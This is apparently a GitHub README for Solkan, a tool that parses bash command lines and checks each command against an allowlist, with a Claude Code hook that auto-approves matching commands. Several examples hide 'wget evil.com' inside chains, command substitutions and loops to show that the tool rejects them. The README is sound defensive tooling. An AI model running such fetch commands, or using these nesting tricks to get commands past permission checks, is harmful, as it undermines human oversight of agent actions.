Skip to content
pixelasticPublic

About

🔥 CLI tool to validate a commandline against an allowlist of commands

Resources

Stars

2 stars

Watchers

0 watching

Forks

Latest commit

 

History

119 Commits

Folders and files

Repository files navigation

Solkan

Solkan

A command-line validation tool that validates bash commands against an allowlist, with intelligent parsing of complex shell syntax.

Why?

When I use Claude Code, it asks for permission before executing bash commands. I know certain commands are fundamentally safe - read-only operations like ls, cat, git status, grep. I wanted to auto-approve these without constant interruptions.

I started building an allowlist, but quickly hit a wall with complex commands:

while read line; do echo $line | xargs wget; done < urls.txt

How do you validate this? The real commands are read, echo, and wget - all buried in the structure. You might want to allow read and echo, but not wget.

This is where Solkan was born. It started as a simple Claude Code hook and evolved into a full bash parser. It extracts every individual command from the syntax tree - through pipes, loops, conditionals, and nested structures.

Either all commands are in your allowlist, or the entire command line is rejected.

Installation

npm install -g solkan

Or as a project dependency:

npm install solkan

Usage

Command Line

Validate a command against an inline allowlist:

# Simple command - exits 0 (allowed)
solkan --allow-list "echo,git status" "echo hello"

# Complex command with pipes - exits 0 (all allowed)
solkan --allow-list "echo,grep" "echo hello | grep hello"

# Sneaky command - exits 1 (wget not allowed)
solkan --allow-list "echo" "echo hello && wget evil.com"

Using an allowlist file:

# allowlist.json
# ["echo", "git status", "git diff", "grep"]

solkan --allow-list-file allowlist.json "git status && git diff | grep modified"
# exits 0

Claude Code Hooks

1. Enable the hook in Claude Code settings (~/.claude/config.json):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "/home/youruser/.claude/hooks/preToolUse-Bash"
          }
        ]
      }
    ]
  }
}

2. Create the hook script (~/.claude/hooks/preToolUse-Bash):

#!/usr/bin/env bash

# Read command from stdin
input=$(cat)
command=$(echo "$input" | jq -r '.tool_input.command')

# Define allowlist (or use --allow-list-file ~/.claude/bash-allowlist.json)
allowlist="cat,echo,git status,git diff,git log,grep,ls,find"

# Validate with Solkan
if solkan --allow-list "$allowlist" "$command"; then
  # All commands allowed - auto-approve
  echo '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"allow"}}'
  exit 0
fi

# At least one common not allowed - ask user
exit 0

Now Claude Code will auto-approve safe commands but ask for permission when dangerous operations are detected.

What Solkan Understands

Solkan parses and validates the following structures:

  • git status - simple command
  • echo hello && git status - sequential execution
  • echo hello || echo world - conditional execution
  • echo hello | grep hello - pipes
  • echo hello; echo world - command separators
  • FOO=bar echo hello - variable definitions
  • while true; do echo hello; done - while loops
  • for i in a b c; do echo $i; done - for loops
  • for ((i=0; i<10; i++)); do echo $i; done - C-style for loops
  • time echo hello - timing prefix
  • xargs grep pattern - xargs command extraction
  • sh -c 'echo hello && git status' - shell command strings
  • echo $(git status) - command substitution
    • Validates: echo $(git status), git status
  • echo `git status` - command substitution with backticks
    • Validates: echo `git status`, git status
  • echo "$(git status)" - command substitution inside double quotes
    • Validates: echo "$(git status)", git status
  • FOO=$(git status) echo hello - command substitution in a variable definition
    • Validates: echo hello, git status
  • for i in $(git branch); do echo $i; done - command substitution in a for loop word list
    • Validates: git branch, echo $i

Solkan validates the inner command line of each command substitution like any other command line, and applies the rewrite list inside it. Command substitutions can be nested.

  • echo "$(grep ok $(wget evil.com))"
    • Validates: echo "$(grep ok $(wget evil.com))", grep ok $(wget evil.com), wget evil.com

All of the above can be combined and nested arbitrarily

  • while true; do for i in 1 2; do echo $i | xargs sh -c 'grep ok && wget evil.com'; done; done
    • Validates: true, echo $i, grep ok, wget evil.com

Exit Codes

  • 0 - All commands in the input are allowed
  • 1 - One or more commands are not in the allowlist
  • 2 - Usage error (missing arguments, invalid file, etc.)

Advanced: Programmatic Usage

import { isCommandLineAllowed } from 'solkan';

const allowList = ['echo', 'git status', 'grep'];
const command = 'echo hello && git status | grep modified';

if (isCommandLineAllowed(command, allowList)) {
  console.log('Command passed judgment');
  // All extracted commands are in the allowlist
} else {
  console.log('Command contains forbidden operations');
}

About the Name

Solkan comes from the Warhammer pantheon. He is a Merciless god of Law, acting as an unrelenting judge who sees world in absolutes, enforcing order without mercy or ambiguity. His followers believe that either you are worthy, or you are not. There is no middle ground.

I found it a fitting name for a tool deciding if a command should run or not. The name also plays on "can" - as in "can I run this command?".

License

MIT

About

🔥 CLI tool to validate a commandline against an allowlist of commands

Resources

Stars

2 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages